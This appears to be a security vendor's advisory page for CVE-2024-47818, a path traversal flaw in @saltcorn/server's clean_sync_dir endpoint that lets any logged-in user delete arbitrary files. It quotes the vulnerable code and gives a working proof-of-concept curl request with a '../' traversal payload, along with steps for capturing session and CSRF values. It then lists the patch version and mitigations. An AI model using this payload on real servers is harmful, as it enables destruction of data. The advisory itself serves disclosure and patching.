CVE-2024-47818 is a medium-severity (CVSS 6.5) Path Traversal vulnerability in @saltcorn/server. A fix is available for @saltcorn/server — see the affected versions and patch details below.
Logged-in users with any role can delete arbitrary files in @saltcorn/server
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-47818.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2024-47818 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,636 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
@saltcorn/servernpmDescription
Summary
A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir endpoint. The dir_name POST parameter is not validated/sanitized and is used to construct the syncDir that is deleted by calling fs.rm.
Details
- file: https://github.com/saltcorn/saltcorn/blob/v1.0.0-beta.15/packages/server/routes/sync.js#L337-L346
router.post(
"/clean_sync_dir",
error_catcher(async (req, res) => {
const { dir_name } = req.body; // [1] source
try {
const rootFolder = await File.rootFolder();
const syncDir = path.join(
rootFolder.location,
"mobile_app",
"sync",
dir_name // [2]
);
await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
res.status(200).send("");
} catch (error) {
getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
res.status(400).json({ error: error.message || error });
}
})
);
PoC
The following PoC can be executed with a user with any role (admin, staff, user, public)
- create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
- log with a user and retrieve valid
connect.sidand_csrfvalues*** - send the following
curlrequest
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Content-Length: 93' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
--data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
$'http://localhost:3000/sync/clean_sync_dir'
- check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory
*** obtain connect.sid and _csrf values
A possible way to retrieve connect.sid and _csrf values is to use the password reset functionality:
- log in
- open the browser developer console, go to the
Networktab filter forsettingsrequest - visit
http://localhost:3000/auth/settings - trigger the change password functionality
- under the
HeadersandRequesttabs, grab theconnect.sidand_csrfvalues and replace them in the curl command
Impact
Arbitrary file delete
Recommended Mitigation
Resolve the syncDir and check if it starts with rootFolder.location/mobile_app/sync.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @saltcorn/server | all versions | 1.0.0-beta.16npm install @saltcorn/server@1.0.0-beta.16 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @saltcorn/server, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update @saltcorn/server to 1.0.0-beta.16 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-47818 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2024-47818 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2024-47818. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2024-47818 in your dependencies?
O3 Security finds CVE-2024-47818 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.